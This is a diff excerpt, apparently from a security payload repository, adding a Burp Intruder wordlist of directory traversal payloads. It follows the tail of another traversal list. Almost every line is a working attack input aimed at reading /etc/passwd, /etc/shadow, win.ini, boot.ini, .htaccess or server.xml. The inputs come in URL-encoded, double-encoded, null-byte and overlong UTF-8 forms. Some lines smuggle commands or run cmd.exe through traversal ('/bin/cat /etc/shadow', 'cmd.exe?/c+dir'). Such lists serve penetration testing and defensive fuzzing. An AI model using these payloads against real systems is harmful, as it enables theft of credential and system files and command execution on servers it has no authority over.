+ .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}
824
+ ./../{FILE}
825
+ ./.././../{FILE}
826
+ ./.././.././../{FILE}
827
+ ./.././.././.././../{FILE}
828
+ ./.././.././.././.././../{FILE}
829
+ ./.././.././.././.././.././../{FILE}
830
+ ./.././.././.././.././.././.././../{FILE}
831
+ ./.././.././.././.././.././.././.././../{FILE}
832
+ .\..\{FILE}
833
+ .\..\.\..\{FILE}
834
+ .\..\.\..\.\..\{FILE}
835
+ .\..\.\..\.\..\.\..\{FILE}
836
+ .\..\.\..\.\..\.\..\.\..\{FILE}
837
+ .\..\.\..\.\..\.\..\.\..\.\..\{FILE}
838
+ .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
839
+ .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
840
+ .//..//{FILE}
841
+ .//..//.//..//{FILE}
842
+ .//..//.//..//.//..//{FILE}
843
+ .//..//.//..//.//..//.//..//{FILE}
844
+ .//..//.//..//.//..//.//..//.//..//{FILE}
845
+ .//..//.//..//.//..//.//..//.//..//.//..//{FILE}
846
+ .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
847
+ .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
848
+ .\\..\\{FILE}
849
+ .\\..\\.\\..\\{FILE}
850
+ .\\..\\.\\..\\.\\..\\{FILE}
851
+ .\\..\\.\\..\\.\\..\\.\\..\\{FILE}
852
+ .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
853
+ .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
854
+ .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
855
+ .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
856
+ ../{FILE}
857
+ ../..//{FILE}
858
+ ../..//../{FILE}
859
+ ../..//../..//{FILE}
860
+ ../..//../..//../{FILE}
861
+ ../..//../..//../..//{FILE}
862
+ ../..//../..//../..//../{FILE}
863
+ ../..//../..//../..//../..//{FILE}
864
+ ..\{FILE}
865
+ ..\..\\{FILE}
866
+ ..\..\\..\{FILE}
867
+ ..\..\\..\..\\{FILE}
868
+ ..\..\\..\..\\..\{FILE}
869
+ ..\..\\..\..\\..\..\\{FILE}
870
+ ..\..\\..\..\\..\..\\..\{FILE}
871
+ ..\..\\..\..\\..\..\\..\..\\{FILE}
872
+ ..///{FILE}
873
+ ../..///{FILE}
874
+ ../..//..///{FILE}
875
+ ../..//../..///{FILE}
876
+ ../..//../..//..///{FILE}
877
+ ../..//../..//../..///{FILE}
878
+ ../..//../..//../..//..///{FILE}
879
+ ../..//../..//../..//../..///{FILE}
880
+ ..\\\{FILE}
881
+ ..\..\\\{FILE}
882
+ ..\..\\..\\\{FILE}
883
+ ..\..\\..\..\\\{FILE}
884
+ ..\..\\..\..\\..\\\{FILE}
885
+ ..\..\\..\..\\..\..\\\{FILE}
886
+ ..\..\\..\..\\..\..\\..\\\{FILE}
887
+ ..\..\\..\..\\..\..\\..\..\\\{FILE}
payloads/Directory Traversal/Intruder/directory_traversal.txt ADDED
@@ -0,0 +1,140 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ \..\WINDOWS\win.ini
2
+ \..\..\WINDOWS\win.ini
3
+ \..\..\..\WINDOWS\win.ini
4
+ \..\..\..\..\WINDOWS\win.ini
5
+ \..\..\..\..\..\WINDOWS\win.ini
6
+ \..\..\..\..\..\..\WINDOWS\win.ini
7
+ %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
8
+ %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
9
+ %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
10
+ %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
11
+ %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
12
+ %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
13
+ %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
14
+ %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
15
+ %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
16
+ %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
17
+ %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
18
+ ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
19
+ ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
20
+ ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
21
+ ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
22
+ ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
23
+ ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
24
+ ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
25
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
26
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
27
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
28
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
29
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
30
+ %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
31
+ %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
32
+ ../../../../../../../../../etc/passwd
33
+ ../../../../../../../../etc/passwd
34
+ ../../../../../../../etc/passwd
35
+ ../../../../../../etc/passwd
36
+ ../../../../../etc/passwd
37
+ ../../../../etc/passwd
38
+ ../../../etc/passwd
39
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
40
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
41
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
42
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
43
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
44
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
45
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
46
+ %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
47
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
48
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
49
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
50
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
51
+ ../../../.htaccess
52
+ ../../.htaccess
53
+ ../.htaccess
54
+ .htaccess
55
+ ././.htaccess
56
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73
57
+ %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73
58
+ %2e%2e%2f%2e%68%74%61%63%63%65%73%73
59
+ %2e%68%74%61%63%63%65%73%73
60
+ %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73
61
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
62
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
63
+ %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
64
+ %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
65
+ %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
66
+ ../../../../../../../../../../../../etc/hosts%00
67
+ ../../../../../../../../../../../../etc/hosts
68
+ ../../boot.ini
69
+ /../../../../../../../../%2A
70
+ ../../../../../../../../../../../../etc/passwd%00
71
+ ../../../../../../../../../../../../etc/passwd
72
+ ../../../../../../../../../../../../etc/shadow%00
73
+ ../../../../../../../../../../../../etc/shadow
74
+ /../../../../../../../../../../etc/passwd^^
75
+ /../../../../../../../../../../etc/shadow^^
76
+ /../../../../../../../../../../etc/passwd
77
+ /../../../../../../../../../../etc/shadow
78
+ /./././././././././././etc/passwd
79
+ /./././././././././././etc/shadow
80
+ \..\..\..\..\..\..\..\..\..\..\etc\passwd
81
+ \..\..\..\..\..\..\..\..\..\..\etc\shadow
82
+ ..\..\..\..\..\..\..\..\..\..\etc\passwd
83
+ ..\..\..\..\..\..\..\..\..\..\etc\shadow
84
+ /..\../..\../..\../..\../..\../..\../etc/passwd
85
+ /..\../..\../..\../..\../..\../..\../etc/shadow
86
+ .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
87
+ .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
88
+ \..\..\..\..\..\..\..\..\..\..\etc\passwd%00
89
+ \..\..\..\..\..\..\..\..\..\..\etc\shadow%00
90
+ ..\..\..\..\..\..\..\..\..\..\etc\passwd%00
91
+ ..\..\..\..\..\..\..\..\..\..\etc\shadow%00
92
+ %0a/bin/cat%20/etc/passwd
93
+ %0a/bin/cat%20/etc/shadow
94
+ %00/etc/passwd%00
95
+ %00/etc/shadow%00
96
+ %00../../../../../../etc/passwd
97
+ %00../../../../../../etc/shadow
98
+ /../../../../../../../../../../../etc/passwd%00.jpg
99
+ /../../../../../../../../../../../etc/passwd%00.html
100
+ /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
101
+ /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
102
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
103
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
104
+ %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
105
+ /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
106
+ %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%
107
+ /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
108
+ \\&apos;/bin/cat%20/etc/passwd\\&apos;
109
+ \\&apos;/bin/cat%20/etc/shadow\\&apos;
110
+ ../../../../../../../../conf/server.xml
111
+ /../../../../../../../../bin/id|
112
+ C:/inetpub/wwwroot/global.asa
113
+ C:\inetpub\wwwroot\global.asa
114
+ C:/boot.ini
115
+ C:\boot.ini
116
+ ../../../../../../../../../../../../localstart.asp%00
117
+ ../../../../../../../../../../../../localstart.asp
118
+ ../../../../../../../../../../../../boot.ini%00
119
+ ../../../../../../../../../../../../boot.ini
120
+ /./././././././././././boot.ini
121
+ /../../../../../../../../../../../boot.ini%00
122
+ /../../../../../../../../../../../boot.ini
123
+ /..\../..\../..\../..\../..\../..\../boot.ini
124
+ /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
125
+ \..\..\..\..\..\..\..\..\..\..\boot.ini
126
+ ..\..\..\..\..\..\..\..\..\..\boot.ini%00
127
+ ..\..\..\..\..\..\..\..\..\..\boot.ini
128
+ /../../../../../../../../../../../boot.ini%00.html
129
+ /../../../../../../../../../../../boot.ini%00.jpg
130
+ /.../.../.../.../.../
131
+ ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
132
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
133
+ /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
134
+ /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
135
+ /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
136
+ /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
137
+ /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
138
+ /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
139
+ /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
140
+ /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd